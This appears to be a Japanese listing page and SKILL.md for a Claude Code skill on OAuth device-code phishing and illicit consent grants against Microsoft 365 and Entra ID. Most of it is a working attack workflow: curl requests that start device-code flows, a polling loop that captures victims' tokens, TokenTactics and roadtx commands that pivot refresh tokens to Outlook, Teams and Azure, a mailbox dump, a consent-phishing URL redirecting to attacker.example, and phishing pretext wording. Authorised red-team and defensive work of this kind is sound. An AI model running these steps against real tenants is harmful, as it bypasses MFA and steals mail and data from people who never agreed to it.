attacking-oauth-with-device-code-phishing について
Microsoft 365 と Entra ID の OAuth デバイスコードフィッシングや不正な同意付与を評価する、許可を得たレッドチーム向けのセキュリティテストスキルです。トークンの検証、影響調査、是正策の整理を扱います。
主な機能
- 01デバイスコードフローの評価
- 02不正な同意付与のテスト
- 03サービス間のトークン更新
- 04ROADtools による影響調査
- 05MFA とポリシーの検証
活用シーン
- 01デバイスコード制限のテスト
- 02MFA と Conditional Access の評価
- 03OAuth トークン漏えいリスクの実証
- 04発見事項と是正策の記録
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill attacking-oauth-with-device-code-phishingインストール後、Claude Code で/attacking-oauth-with-device-code-phishingを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEreferences/api-reference.mdstandards.mdscripts/agent.py詳細
デバイスコードフィッシングによる OAuth 攻撃
法的通知: このスキルは、許可されたセキュリティテスト、レッドチームの活動、および教育目的に限って使用してください。デバイスコードフィッシングや同意付与フィッシングは、攻撃者が管理するアクセスを許可するよう、実際のユーザーを巧みに誘導します。自分が所有するテナント、またはテストの明示的な書面による許可(ルール・オブ・エンゲージメント)を得たテナントに対してのみ実行してください。不正使用は、コンピューター詐欺および不正使用に関する法律(Computer Fraud and Abuse Act)ならびに世界各地の同等の法律に違反します。
概要
OAuth 2.0 デバイス認可グラント(RFC 8628)は、ブラウザベースのログイン画面を簡単に表示できない、入力機能が制限されたデバイス(スマートテレビ、CLI ツールなど)向けに設計されました。デバイスは短い user_code と device_code を要求し、ユーザーに user_code と確認用 URL を表示して、ユーザーが別の高機能なデバイスで認証する間、トークンエンドポイントをポーリングします。攻撃者はこのフローを悪用します。スマートテレビの代わりに、「デバイス」となるのは攻撃者のマシンです。攻撃者はデバイスコード要求を開始した後、正規の Microsoft 確認ページ(https://microsoft.com/devicelogin)にアクセスして、攻撃者が生成した user_code を入力するよう被害者を誘導します。被害者は本物の Microsoft ログインページで認証を完了し、MFA も満たすため、生成されたトークンは攻撃者のポーリングセッションに発行されます。これにより MFA が完全に迂回されます。第 2 要素を満たすのは被害者ですが、ベアラートークンは攻撃者の手に渡ります(MITRE ATT&CK T1528 – アプリケーションアクセストークンの窃取に対応します)。
Microsoft Threat Intelligence、Volexity、Proofpoint は、2025 年を通じてデバイスコードフィッシングが急増したことを記録しており、Microsoft が Storm-2372 として追跡しているロシアと連携したアクターは、特に活発なグループの一つです。Mandiant の M-Trends レポートでも、OAuth トークン窃取がクラウドへの主要な初期アクセス経路として取り上げられています。これに密接に関連する手法が、不正な同意付与(「OAuth フィッシング」)です。攻撃者がマルチテナントアプリを登録し、被害者を /adminconsent またはユーザー同意 URL のクリックへ誘導することで、悪意のあるアプリに委任された Microsoft Graph 権限(Mail.Read、Files.ReadWrite.All、offline_access)を付与させます。これらの権限はパスワードリセット後も独立して存続します。このスキルでは、これら両方に加え、TokenTactics を使用した Microsoft 365 サービス間でのトークンリプレイ、および ROADtools による検証とアクセスのマッピングを扱います。
レッドチームが悪用するこの手法の重要な特性は、デバイスコードフローで発行されたアクセストークンはおよそ 60~90 分間有効ですが、付随するリフレッシュトークン(offline_access スコープ付き)は最長 90 日間存続し、クライアントが要求を許可されているファーストパーティリソース(Outlook、SharePoint、Teams、Azure Resource Manager など)に対して新しいトークンを取得するために使用できることです。これにより、長期間持続し、MFA を回避したアクセスが可能になります。
使用する場面
- ソーシャルエンジニアリングが対象範囲に含まれる、Microsoft 365/Entra ID を対象とした許可済みのレッドチーム活動または侵害想定型の活動中
- 実際のフィッシング手法に対する条件付きアクセス ポリシー、MFA の適用、およびトークン保護コントロールを検証するとき
- 組織が OAuth デバイスコードフローを制限しているか、未検証のマルチテナントアプリへの同意をブロックしているかをテストするとき
- フィッシング耐性認証(FIDO2)やトークンバインディングコントロールの必要性を説明するため、MFA バイパスのリスクを実証するとき
- 検知機能を構築するとき(ブルーチーム向けの
hunting-saas-sso-token-abuseスキルと組み合わせます)。現実的なテレメトリが必要な場合
前提条件
- 対象テナントに対するフィッシングとトークン窃取を明示的に許可する、書面による承認/ルール・オブ・エンゲージメント
- 制御されたプレテキスト配信チャネル(承認済みのフィッシング基盤または社内テスト用メールボックス)
- Python 3.8 以降と PowerShell 7 以降を備えた Linux または Windows の攻撃者ホスト
- TokenTactics(PowerShell)と ROADtools(Python)がインストール済みであること:
# ROADtools (roadrecon + roadtx) — Dirk-jan Mollema / Outsider Security pip install roadtools roadtools_auth # roadtx (ROADtools Token eXchange) ships in roadtools_auth roadtx --help # TokenTactics v2 (rvrsh3ll) git clone https://github.com/rvrsh3ll/TokenTactics.git pwsh -c "Import-Module ./TokenTactics/TokenTactics.psd1" - OAuth 2.0 のグラントタイプ、JWT の構造、および Microsoft Graph のスコープに関する知識
目標
- Entra ID に対し、ファーストパーティのクライアント ID を使用して OAuth デバイスコードリクエストを開始します
- 被害者を正規の Microsoft デバイスログインページに誘導する、信憑性の高い口実を用意します
- トークンエンドポイントをポーリングし、被害者のアクセストークンとリフレッシュトークンを取得します
- Microsoft 365 リソース(Graph、Outlook、Azure 管理)間でトークンを更新し、アクセスを拡大します
- 悪意のあるマルチテナントアプリを登録し、同意をフィッシングする、不正な同意を用いた手法を実行します
- ROADtools を使ってアクセス可能なリソースとデータを列挙し、影響を実証します
- MFA のバイパスについて記録し、修復の推奨事項を作成します
MITRE ATT&CK マッピング
| ID | 手法 | このスキルでの適用 |
|---|---|---|
| T1528 | アプリケーションアクセストークンの窃取 | デバイスコードフローのフィッシング/同意の付与により、攻撃者が管理する OAuth アクセストークンとリフレッシュトークンを取得し、再認証せずにクラウドサービスへのアクセスに再利用します |
よく連鎖して使われる関連手法:T1566 フィッシング(配信)、T1550.001 アプリケーションアクセストークン(窃取したトークンの再利用)、T1098.003 アカウント操作:追加のクラウドロール(同意付与による永続化)。
ワークフロー
フェーズ 1:デバイスコードリクエストを開始する
攻撃者は Entra ID にデバイスコードをリクエストし、被害者が暗黙的に信頼するファーストパーティのクライアントを選択します。Microsoft Office クライアント ID d3590ed6-52b3-4102-aeff-aad2292ab01c は、幅広いファーストパーティリソースへの事前承認があるため、一般的に使用されます。
-
トークンエンドポイントに直接デバイスコードをリクエストします:
# client_id = Microsoft Office; scope requests offline_access for a long-lived refresh token curl -s -X POST \ 'https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode' \ -d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c' \ -d 'scope=https://graph.microsoft.com/.default offline_access' | tee devicecode.json -
JSON レスポンスには、悪用するフィールドが含まれています:
{ "user_code": "B7HVQXKZ2", "device_code": "GMMhmHCXhWEzkobqIHGG_EnNYYsAkukHspeYUk9E8...", "verification_uri": "https://microsoft.com/devicelogin", "expires_in": 900, "interval": 5, "message": "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code B7HVQXKZ2 to authenticate." } -
有効期間が 15 分(
expires_in: 900)である点に注意してください。口実を使って、被害者にすばやく認証させる必要があります。TokenTactics を使う同等の方法(ポーリングを自動処理します):
Import-Module ./TokenTactics/TokenTactics.psd1 # Generates a device code and begins polling; prints the user_code to phish Get-AzureToken -Client MSGraph
フェーズ 2:口実を提示する
フィッシングメッセージには、認証情報を窃取するリンクを絶対に含めないでください。被害者は本物の Microsoft ページで認証するため、ユーザーの疑念や MFA を回避できます。
- 正規の
https://microsoft.com/deviceloginURL とuser_codeを示す口実を作成します(例:「IT 部門が新しい Teams Rooms デバイスにアカウントを登録しています。microsoft.com/devicelogin を開き、15 分以内にコード B7HVQXKZ2 を入力してください」)。 - 承認済みのフィッシング基盤を通じて送信します。コードや URL をハイパーリンクにすると迷惑メールに分類されることが多いため、URL とコードはプレーンテキストで提示します。
- コードが新しい状態であるよう、ポーリングサイクルの開始時に合わせて送信します。
フェーズ 3:ポーリングしてトークンを取得する
被害者が認証して承認する間、トークンが発行されるまで device_code を使ってトークンエンドポイントをポーリングします。
- サーバーが指定する
interval(5 秒)でポーリングします。被害者がサインインを完了するまで、authorization_pendingが返されるのは想定どおりです:DEVICE_CODE=$(python -c "import json;print(json.load(open('devicecode.json'))['device_code'])") while true; do RESP=$(curl -s -X POST \ 'https://login.microsoftonline.com/organizations/oauth2/v2.0/token' \ -d 'grant_type=urn:ietf:params:oauth:grant-type:device_code' \ -d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c' \ -d "device_code=${DEVICE_CODE}") echo "$RESP" | grep -q access_token && { echo "$RESP" > tokens.json; break; } echo "$RESP" | grep -q authorization_pending || echo "$RESP" sleep 5 done - 成功すると、レスポンスに
access_token、refresh_token、id_token、expires_in、付与されたscopeが含まれます。 - アクセストークンをデコードし、取得した ID、対象者、スコープを確認します:
python -c "import json,base64;p=json.load(open('tokens.json'))['access_token'].split('.')[1];print(json.loads(base64.urlsafe_b64decode(p+'=='*(-len(p)%4))))"
フェーズ 4:Microsoft 365 リソース間でトークンを更新する
offline_access を含むリフレッシュトークンを他のファーストパーティリソース向けに引き換えることで、元のスコープを超えてアクセスを拡大できます。
- TokenTactics の更新機能を使って、リフレッシュトークンを特定のサービスに切り替えます:
# $response holds the device-code result from Get-AzureToken $rt = $response.refresh_token Invoke-RefreshToOutlookToken -domain target.com -refreshToken $rt # mailbox access Invoke-RefreshToMSGraphToken -domain target.com -refreshToken $rt # Graph Invoke-RefreshToMSTeamsToken -domain target.com -refreshToken $rt # Teams Invoke-RefreshToAzureCoreManagementToken -domain target.com -refreshToken $rt # ARM Invoke-RefreshToSubstrateToken -domain target.com -refreshToken $rt - 同様に roadtx を使い、リフレッシュトークンを新しいリソース向けに引き換えます:
roadtx refreshtokento \ -r "$(python -c "import json;print(json.load(open('tokens.json'))['refresh_token'])")" \ -c d3590ed6-52b3-4102-aeff-aad2292ab01c \ -s https://graph.microsoft.com/.default - 影響を実証するため、メールボックスへのアクセスを示します(読み取り専用で、エンゲージメントルールの範囲内に限ります):
Invoke-DumpOWAMailboxViaMSGraphApi -AccessToken $response.access_token -mailFolder Inbox
フェーズ 5:不正な同意付与の手法
デバイスコードの代わりに、悪意のあるマルチテナントアプリを登録し、被害者をだまして委任された Graph のアクセス許可に同意させることで、パスワードリセット後も持続するアクセスを確保します。
- 攻撃者のテナントに、
Mail.Read、Files.ReadWrite.All、offline_accessなどの委任スコープを要求するマルチテナントアプリを登録します。 - ユーザー同意用 URL を作成して、フィッシングに利用します:
https://login.microsoftonline.com/common/oauth2/v2.0/authorize? client_id=<ATTACKER_APP_ID> &response_type=code &redirect_uri=https://attacker.example/callback &response_mode=query &scope=offline_access%20Mail.Read%20Files.ReadWrite.All &state=12345 - 被害者が同意したら、返された
codeをトークンと交換します:curl -s -X POST 'https://login.microsoftonline.com/common/oauth2/v2.0/token' \ -d 'client_id=<ATTACKER_APP_ID>' \ -d 'grant_type=authorization_code' \ -d 'code=<AUTH_CODE>' \ -d 'redirect_uri=https://attacker.example/callback' \ -d 'client_secret=<APP_SECRET>' \ -d 'scope=offline_access Mail.Read Files.ReadWrite.All' - 同意済みの OAuth 付与は、管理者が取り消すまで(
Remove-MgServicePrincipalOauth2PermissionGrant)、被害者のテナント内のサービスプリンシパル付与として保持されます。
フェーズ 6:ROADtools による影響の列挙
- 取得したトークン/リフレッシュトークンを使って roadrecon を認証し、ディレクトリをダンプします:
roadrecon auth --refresh-token "$(python -c "import json;print(json.load(open('tokens.json'))['refresh_token'])")" \ -c d3590ed6-52b3-4102-aeff-aad2292ab01c roadrecon gather roadrecon gui # browse users, groups, app registrations, role assignments - ロールの割り当て、所有しているアプリケーション、アクセス可能な SharePoint サイト、追加の同意付与など、高価値のアクセスを特定します。
- エンゲージメントレポート用に、窃取したトークンでアクセスしたデータとロールを正確に記録します。
ツールとリソース
| ツール | 目的 | ソース |
|---|---|---|
| TokenTactics v2 | M365 サービス全体でデバイスコードとリフレッシュトークンを生成します | https://github.com/rvrsh3ll/TokenTactics |
| ROADtools (roadrecon / roadtx) | トークン交換、ディレクトリの列挙、アクセスのマッピング | https://github.com/dirkjanm/ROADtools |
| AADInternals | Entra ID 攻撃/偵察用 PowerShell ツールキット | https://github.com/Gerenios/AADInternals |
| RFC 8628 | OAuth 2.0 デバイス認可グラントの仕様 | https://datatracker.ietf.org/doc/html/rfc8628 |
| Microsoft / Storm-2372 アドバイザリ | デバイスコードフィッシングキャンペーンの分析 | https://www.microsoft.com/en-us/security/blog/ |
| Mandiant M-Trends | OAuth トークン窃取の傾向に関するレポート | https://cloud.google.com/security/resources/m-trends |
防御の推奨事項
| コントロール | 効果 |
|---|---|
デバイスコードフロー(authenticationFlows)を必要としないユーザーに対してブロックする条件付きアクセス ポリシー | ほとんどのユーザーに対する攻撃対象領域をなくします |
| フィッシング耐性のある MFA(FIDO2/パスキー)+トークン保護(トークンバインディング) | バインドされたトークンは被害者のデバイス外で再利用できません |
| ユーザーの同意を検証済みの発行元に制限する/管理者の同意を必須にする | 不正な同意付与をブロックします |
| 信頼されていないネットワークでサインイン頻度を設定し、セッションの有効期間を短縮する | リフレッシュトークンの有効期間を制限します |
デバイスコードグラントや異常なトークン使用について AADNonInteractiveUserSignInLogs を監視する | 検知します(hunting-saas-sso-token-abuse を参照) |
検証基準
- デバイスコード要求から有効な
user_codeとdevice_codeが返された - 本物の Microsoft デバイスログインページを参照する口実が送付された(認証情報を取得するリンクは使用しない)
- トークンエンドポイントをポーリングし、
access_tokenとrefresh_tokenを取得した - アクセストークンをデコードし、取得した ID、オーディエンス、スコープを確認した
- リフレッシュトークンを使って、少なくとも 1 つの追加の M365 リソースとの交換に成功した
- MFA バイパスを実証した(被害者が MFA を完了し、攻撃者が利用可能なトークンを保持している)
- 不正な同意付与の手法をテストした、または対象範囲外として記録した
- ROADtools でアクセス可能なリソースを列挙し、記録した
- 修復の推奨事項(CA によるデバイスコードのブロック、FIDO2、同意の制限)を提示した